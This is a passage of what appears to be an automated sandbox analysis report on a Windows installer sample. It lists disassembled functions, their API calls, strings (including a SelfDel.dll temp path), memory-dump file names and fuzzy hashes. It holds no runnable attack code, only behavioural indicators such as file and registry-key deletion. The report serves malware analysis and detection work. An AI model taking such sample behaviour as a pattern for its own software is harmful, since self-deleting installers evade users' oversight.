                    • Opcode ID: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
                    • Instruction ID: bedb2e6347f460b6a244a356934bd0223db9426f0f89d28790e15ec7ef568a4f
                    • Opcode Fuzzy Hash: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
                    • Instruction Fuzzy Hash: C911B66780221295DB303B148C40A7762A8AF59754F56C43FED86732C0E77C5C9282AD
                    Function 00404EB1 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON
                    Download Yara Rule
                    APIs
                    • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404ECC
                    • GetMessagePos.USER32 ref: 00404ED4
                    • ScreenToClient.USER32(?,?), ref: 00404EEE
                    • SendMessageW.USER32(?,00001111,00000000,?), ref: 00404F00
                    • SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404F26
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: Message$Send$ClientScreen
                    • String ID: f
                    • API String ID: 41195575-1993550816
                    • Opcode ID: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
                    • Instruction ID: fe1e2a7802b6c51c8f018a14413b1ee553013da7dc16083b389f375565560bf3
                    • Opcode Fuzzy Hash: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
                    • Instruction Fuzzy Hash: 20015E71900219BADB00DB94DD85BFEBBBCAF95711F10412BBB51B61D0C7B4AA418BA4
                    Function 00402FB8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON
                    Download Yara Rule
                    APIs
                    • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FD6
                    • MulDiv.KERNEL32(002787DC,00000064,002787E0), ref: 00403001
                    • wsprintfW.USER32 ref: 00403011
                    • SetWindowTextW.USER32(?,?), ref: 00403021
                    • SetDlgItemTextW.USER32(?,00000406,?), ref: 00403033
                    Strings
                    • verifying installer: %d%%, xrefs: 0040300B
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: Text$ItemTimerWindowwsprintf
                    • String ID: verifying installer: %d%%
                    • API String ID: 1451636040-82062127
                    • Opcode ID: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
                    • Instruction ID: de78d71e2fb772fb87643f85aa6fa794cb5f2d0f129fd79c7e15704eeb750e6f
                    • Opcode Fuzzy Hash: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
                    • Instruction Fuzzy Hash: 85014F71640208BBEF209F60DD49FEE3B79AB04344F008039FA02B51D0DBB996559B59
                    Function 00402975 Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON
                    Download Yara Rule
                    APIs
                    • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029D6
                    • GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029F2
                    • GlobalFree.KERNEL32(?), ref: 00402A2B
                    • GlobalFree.KERNEL32(00000000), ref: 00402A3E
                    • CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A5A
                    • DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A6D
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: Global$AllocFree$CloseDeleteFileHandle
                    • String ID:
                    • API String ID: 2667972263-0
                    • Opcode ID: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
                    • Instruction ID: fd7949a1005e62e73a365a75524f2bbb059e9229dbd09bef2f8decdc6a7611be
                    • Opcode Fuzzy Hash: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
                    • Instruction Fuzzy Hash: FA31A271D00124BBCF21AFA5CE89D9E7E79AF45324F14423AF421762E1CB798D418FA8
                    Function 00402ECE Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON
                    Download Yara Rule
                    APIs
                    • RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402F22
                    • RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F6E
                    • RegCloseKey.ADVAPI32(?,?,?), ref: 00402F77
                    • RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F8E
                    • RegCloseKey.ADVAPI32(?,?,?), ref: 00402F99
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: CloseEnum$DeleteValue
                    • String ID:
                    • API String ID: 1354259210-0
                    • Opcode ID: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
                    • Instruction ID: 446d876c474c9d83549856ad9cac23e68bb7371358ae7480bd0e7fa7c4692e5e
                    • Opcode Fuzzy Hash: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
                    • Instruction Fuzzy Hash: 1D212A7150010ABFDF129F90CE89EEF7A7DEB54388F110076B909B21E0E7B58E54AA64
                    Function 00401DA6 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON
                    Download Yara Rule
                    APIs
                    • GetDlgItem.USER32(?,?), ref: 00401DBF
                    • GetClientRect.USER32(?,?), ref: 00401E0A
                    • LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E3A
                    • SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E4E
                    • DeleteObject.GDI32(00000000), ref: 00401E5E
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
                    • String ID:
                    • API String ID: 1849352358-0
                    • Opcode ID: 81c9bb8771d2fff4a04963bae7b32cf8a9b6882c20dc3426dc9c78dd315e4f46
                    • Instruction ID: c57303c31a56d7bc8f2a0c5af16d3cdd50a2ae23bf22298ce01a5789fd7b985b
                    • Opcode Fuzzy Hash: 81c9bb8771d2fff4a04963bae7b32cf8a9b6882c20dc3426dc9c78dd315e4f46
                    • Instruction Fuzzy Hash: B9211972900119AFCB05DF98DE45AEEBBB5EB08354F14003AFA45F62A0D7789D81DB98
                    Function 00401E73 Relevance: 7.5, APIs: 5, Instructions: 43COMMON
                    Download Yara Rule
                    APIs
                    • GetDC.USER32(?), ref: 00401E76
                    • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E90
                    • MulDiv.KERNEL32(00000000,00000000), ref: 00401E98
                    • ReleaseDC.USER32(?,00000000), ref: 00401EA9
                    • CreateFontIndirectW.GDI32(0040CDF0), ref: 00401EF8
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: CapsCreateDeviceFontIndirectRelease
                    • String ID:
                    • API String ID: 3808545654-0
                    • Opcode ID: d16b9d3e65f9976eb005c53eb2d4e9b3ac670e2d85412e8b50a51612330472b7
                    • Instruction ID: 32ce691c062fdf7882ca7c79f7dc95dd78c7e40f541a0607bb82830de01dd458
                    • Opcode Fuzzy Hash: d16b9d3e65f9976eb005c53eb2d4e9b3ac670e2d85412e8b50a51612330472b7
                    • Instruction Fuzzy Hash: 3C017171905250EFE7005BB4EE49BDD3FA4AB19301F208A7AF142B61E2CBB904458BED
                    Function 00401C68 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON
                    Download Yara Rule
                    APIs
                    • SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CD8
                    • SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CF0
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: MessageSend$Timeout
                    • String ID: !
                    • API String ID: 1777923405-2657877971
                    • Opcode ID: a637eb720a8cb25f7279c4c7dfa93e68b81a041eba1bee5adc213dda34b2fd0f
                    • Instruction ID: 1a2acd516b32d4a8bba1f086ee74ddb70cdd2400578aaa813c3bd98b8eca9c32
                    • Opcode Fuzzy Hash: a637eb720a8cb25f7279c4c7dfa93e68b81a041eba1bee5adc213dda34b2fd0f
                    • Instruction Fuzzy Hash: 1121A071D1421AAEEB05AFA4D94AAFE7BB0EF44304F10453FF501B61D0D7B88941DB98
                    Function 00404DA3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON
                    Download Yara Rule
                    APIs
                    • lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E44
                    • wsprintfW.USER32 ref: 00404E4D
                    • SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E60
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: ItemTextlstrlenwsprintf
                    • String ID: %u.%u%s%s
                    • API String ID: 3540041739-3551169577
                    • Opcode ID: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
                    • Instruction ID: f1ad69e943298bab6ea0b6c220370dbc78873d19d133ff1b34b391d97265b774
                    • Opcode Fuzzy Hash: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
                    • Instruction Fuzzy Hash: 3011EB336041287BDB10566DAC45E9E329CDF85374F250237FE25F21D5E978C92182E8
                    Function 00405EF1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON
                    Download Yara Rule
                    APIs
                    • CharNextW.USER32(?,?,C:\,?,00405F65,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405EFF
                    • CharNextW.USER32(00000000), ref: 00405F04
                    • CharNextW.USER32(00000000), ref: 00405F1C
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: CharNext
                    • String ID: C:\
                    • API String ID: 3213498283-3404278061
                    • Opcode ID: a019630038ff328a8ec37a6ad8a5e0fa1ea3fa9b42c133706ff5938ffc5cdd25
                    • Instruction ID: 0a1f1b5a9c7109d9782da40e5c64a20d368bd089a9add51530d5bf68f03dfa04
                    • Opcode Fuzzy Hash: a019630038ff328a8ec37a6ad8a5e0fa1ea3fa9b42c133706ff5938ffc5cdd25
                    • Instruction Fuzzy Hash: 98F09062D00A2795DA31B7645C85A7766BCEB593A0B00807BE601B72C0D7BC48818EDA
                    Function 00405E46 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON
                    Download Yara Rule
                    APIs
                    • lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040353F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00405E4C
                    • CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040353F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00405E56
                    • lstrcatW.KERNEL32(?,0040A014,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405E68
                    Strings
                    • C:\Users\user\AppData\Local\Temp\, xrefs: 00405E46
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: CharPrevlstrcatlstrlen
                    • String ID: C:\Users\user\AppData\Local\Temp\
                    • API String ID: 2659869361-823278215
                    • Opcode ID: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
                    • Instruction ID: f2f0f64a112d89f35c11d852d44423d34ca235ab8761dbed5ccf1744ff487032
                    • Opcode Fuzzy Hash: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
                    • Instruction Fuzzy Hash: C2D05E31101534AAC6116F54AD04DDB62AC9E46384381483BF541B20A5C778595186FD
                    Function 00402663 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 65stringCOMMON
                    Download Yara Rule
                    APIs
                    • lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SelfDel.dll), ref: 004026BA
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: lstrlen
                    • String ID: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp$C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SelfDel.dll
                    • API String ID: 1659193697-920187256
                    • Opcode ID: 16bcd07f8b696e8d4d77bdf42abac6a8be44450ddb0260aebc576801c6c870aa
                    • Instruction ID: 2d8dd356423beb748054ff885628a6ea3dfbd93006732d19d47d72bde2aed11d
                    • Opcode Fuzzy Hash: 16bcd07f8b696e8d4d77bdf42abac6a8be44450ddb0260aebc576801c6c870aa
                    • Instruction Fuzzy Hash: 3C11EB71A00315ABCB106FB19E466AE7761AF40748F21443FF502B71C1EAFD8891676E
                    Function 0040303E Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                    Download Yara Rule
                    APIs
                    • DestroyWindow.USER32(00000000,00000000,0040321C,00000001), ref: 00403051
                    • GetTickCount.KERNEL32 ref: 0040306F
                    • CreateDialogParamW.USER32(0000006F,00000000,00402FB8,00000000), ref: 0040308C
                    • ShowWindow.USER32(00000000,00000005), ref: 0040309A
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: Window$CountCreateDestroyDialogParamShowTick
                    • String ID:
                    • API String ID: 2102729457-0
                    • Opcode ID: dba963b85b565a1be4b34eea4ba853e9dad76a83014f6dce089c5eda9641480c
                    • Instruction ID: e0f0fd039426b51c9db09d8e0aed7b7b9f53d87474512ec8403aba9b2c913b41
                    • Opcode Fuzzy Hash: dba963b85b565a1be4b34eea4ba853e9dad76a83014f6dce089c5eda9641480c
                    • Instruction Fuzzy Hash: 93F05470602A21ABC6216F50FE09A9B7B69FB45B12B41043AF545B11ACCB384891CB9D
                    Function 00405570 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON
                    Download Yara Rule
                    APIs
                    • IsWindowVisible.USER32(?), ref: 0040559F
                    • CallWindowProcW.USER32(?,?,?,?), ref: 004055F0
                      • Part of subcall function 00404542: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404554
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: Window$CallMessageProcSendVisible
                    • String ID:
                    • API String ID: 3748168415-3916222277
                    • Opcode ID: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
                    • Instruction ID: f144bc20a23b2fc1dad06cc698734642626ca736bc3518a3bbd7873959a32aa8
                    • Opcode Fuzzy Hash: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
                    • Instruction Fuzzy Hash: 21017171100608BBDF219F11DD84A9F376BEB84794F204037FA027A1D9C7398D529A69
                    Function 00406445 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON
                    Download Yara Rule
                    APIs
                    • RegQueryValueExW.ADVAPI32(?,00000000,00000000,0042BA48,?,00000800,00000000,?,0042BA48,?,?,Del,?,00000000,004066B6,80000002), ref: 0040648B
                    • RegCloseKey.ADVAPI32(?), ref: 00406496
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: CloseQueryValue
                    • String ID: Del
                    • API String ID: 3356406503-3562819231
                    • Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
                    • Instruction ID: 39ab2095516423f533248995afa5b88f9e2e33bd0920f2eea258779ff0fd120f
                    • Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
                    • Instruction Fuzzy Hash: AB017C72500209AADF21CF51CC09EDB3BACFB55364F01803AFD1AA21A0D778D964DBA8
                    Function 00403BB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON
                    Download Yara Rule
                    APIs
                    • FreeLibrary.KERNEL32(?,75923420,00000000,C:\Users\user\AppData\Local\Temp\,00403B8C,00403AA2,?,?,00000008,0000000A,0000000C), ref: 00403BCE
                    • GlobalFree.KERNEL32(00000000), ref: 00403BD5
                    Strings
